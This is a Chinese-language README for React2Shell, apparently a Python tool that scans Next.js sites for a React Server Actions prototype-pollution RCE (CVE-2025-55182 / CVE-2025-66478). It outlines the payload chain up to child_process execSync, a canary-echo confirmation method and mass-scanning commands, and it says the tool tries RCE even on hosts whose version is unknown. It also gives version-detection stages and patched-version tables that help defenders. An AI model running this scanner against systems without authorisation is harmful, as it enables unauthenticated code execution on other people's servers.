异步 RCE 扫描器,用于 CVE-2025-55182 / CVE-2025-66478 — 原型污染 → 通过 React Server Actions 执行代码
原型污染 → 通过 React Server Actions 实现远程代码执行
异步、版本优先、基于输出的金丝雀检测 — 无需盲目猜测
[!WARNING] 仅限授权安全研究与渗透测试使用。 未经明确书面许可扫描系统属违法行为。 作者对此工具的滥用不承担任何责任。
React Server Actions 将操作数据以 multipart 表单数据 的形式直接传入服务器端执行上下文。由于受影响版本的 react-server-dom-webpack 对原型污染的清理不充分,攻击者可:
Object.prototype_response._prefixprocess.mainModule.require('child_process').execSync(cmd)
从而在任意使用 React Server Actions 且存在受影响 React 版本的公开可访问 Next.js 应用程序上实现 未认证的远程代码执行。
CVE-2025-55182 - 广泛影响:影响 React 19 包(react-server-dom-webpack、react-server-dom-parcel、react-server-dom-turbopack)
CVE-2025-66478 - 严格影响:通过 / Server Action 端点实现的 Next.js 特定利用路径
本扫描器采用 基于输出的金丝雀验证——这是确认真实代码执行且零误报的最可靠方法:
1. POST / 包含 Next-Action 头 + multipart 原型污染载荷
2. 载荷执行:echo <随机金丝雀>
3. 脆弱服务器抛出 NEXT_REDIRECT,URL 中包含 base64(金丝雀)
4. 响应头:X-Action-Redirect: /login?a=<base64(金丝雀)>
5. 扫描器解码 base64 → 匹配金丝雀 → RCE 确认 ✓
allow_redirects=False 至关重要——确认信息存在于响应头中,而非重定向目标。
git clone https://github.com/InferiorAK/React2Shell
cd React2Shell
pip install -r requirements.txt
# 仅在使用 --browser 模式以改进版本检测时需要:
playwright install chromium
playwright install-deps chromium
要求: Python 3.10+
# 单个目标
python3 CVE-2025-55182_scanner.py -u https://target.com
# 扫描 URL 列表
python3 CVE-2025-55182_scanner.py -f urls.txt
# 静默模式 - 仅打印 RCE / Vulnerable 结果
python3 CVE-2025-55182_scanner.py -f urls.txt -q
# 浏览器模式 - 无头 Chromium 实现精确版本检测
python3 CVE-2025-55182_scanner.py -f urls.txt -b
# 完整选项 - 推荐用于大规模扫描
python3 CVE-2025-55182_scanner.py -f urls.txt -b -q -c 3 -t 20
每个扫描目标将获得以下判定之一:
输出文件(保存至 outputs/ 文件夹,自动创建):
outputs/vuln.txt — RCE 和 VULNERABLE 结果(每次运行追加)outputs/unknown.txt — Unknown 版本目标;使用 -b 重试以获取精确版本检测为什么 90%+ 的站点版本显示为
unknown?
使用 App Router 架构的现代 Next.js 13+ 永远不会在静态 HTML 中嵌入框架版本。版本仅在 JavaScript 执行的真实浏览器上下文中存在于 window.next.version。
不使用 --browser:
__NEXT_DATA__、内联脚本和哈希后的 chunk 文件unknown —— 基于版本的过滤被绕过使用 --browser(-b):
window.next.version# 建议配合浏览器模式使用 —— 降低并发数(浏览器页面资源消耗大)
python3 CVE-2025-55182_scanner.py -f urls.txt -b -c 3
扫描器最多执行 7 个阶段,一旦找到版本即停止:
阶段 1 │ HTTP 响应头
│ X-Powered-By: Next.js X.Y.Z
│ x-nextjs-*, x-next-version
阶段 2 │ 内联 <script> 块(逐块扫描)
│ window.next = { version: "X.Y.Z", ... }
│ version:"X.Y.Z", router: ... ← 压缩包相邻键模式
│ "nextVersion":"X.Y.Z"
│ Next.js vX.Y.Z ← meta / HTML 注释中的纯文本
│ __NEXT_VERSION__ = "X.Y.Z"
阶段 3 │ __NEXT_DATA__ JSON 数据块
│ 仅限 Pages Router - 该上下文中 "version":"X.Y.Z" 安全
阶段 4 │ 哈希 chunk URL(从 <script src> 提取)
│ /_next/static/chunks/*, /_next/static/app/*, /_next/static/runtime/*
│ 获取多达 12 个真实包文件,扫描版本字符串
阶段 5 │ 固定名称回退 chunk
│ main.js, framework.js, webpack.js, _app.js, pages/_app.js
阶段 6 │ /package.json 端点
│ 开发模式/配置错误服务器直接暴露此端点
阶段 7 │ Playwright 无头浏览器 [仅 --browser / -b]
│ 在完整 JS 执行后评估 window.next.version
│ 仅当阶段 1–6 返回 "unknown" 时触发
本工具发布仅用于教育和授权安全研究目的。
作者 InferiorAK 不对因滥用造成的任何损害负责。
在测试任何您不拥有的系统前,请始终获得书面许可。
由 InferiorAK 制作
我的链接
| 组件 | 受影响版本 | 修补版本 |
|---|
React react-server-dom-* | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Next.js 16.x | 16.0.0 – 16.0.6 | 16.0.7+ |
| Next.js 15.x | 15.0.0-15.0.4, 15.1.0-15.1.8, 15.2.0-15.2.5, 15.3.0-15.3.5, 15.4.0-15.4.7, 15.5.0-15.5.6 | 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+ |
| Next.js 14.x | 仅限 14.3.0-canary.77+ 开发版本 | 所有稳定版 14.x - 不受影响 |
| Next.js 13.x | - | 不受影响 |
| 标志 | 长形式 | 默认值 | 描述 |
|---|
-u | --url | - | 单个目标 URL |
-f | --file | - | 每行一个 URL 的文件 |
-o | --output | outputs/vuln.txt | 脆弱目标的输出文件 |
-U | --unknown-output | outputs/unknown.txt | 未知版本目标的输出文件 |
-c | --concurrency | 5 | 并发 HTTP 连接数 |
-t | --timeout | 15 | 每请求超时(秒) |
-q | --quiet | 关闭 | 仅打印 RCE / VULNERABLE 行 |
-b | --browser | 关闭 | 使用 Playwright 无头 Chromium 进行版本检测回退 |
| 判定 | 颜色 | 含义 |
|---|
RCE | 🔴 红色 | 在 X-Action-Redirect 中确认金丝雀 - 已证明远程代码执行 |
VULNERABLE | 🟠 橙色 | 版本在受影响范围内;RCE 载荷未回显(WAF/修补配置/错误端点) |
Unknown | 🟡 黄色 | 确认 Next.js 但无法检测版本;仍尝试 RCE;保存至 outputs/unknown.txt 供浏览器模式重试 |
Not Vulnerable | 🟢 绿色 | 版本确认为已修补,或 RCE 明确返回安全 |
Skipped | ⚪ 白色 | 确认修补版本或非 Next.js 站点 - 未尝试 PoC |
Error | ⚪ 白色 | 主机不可达或连接失败 |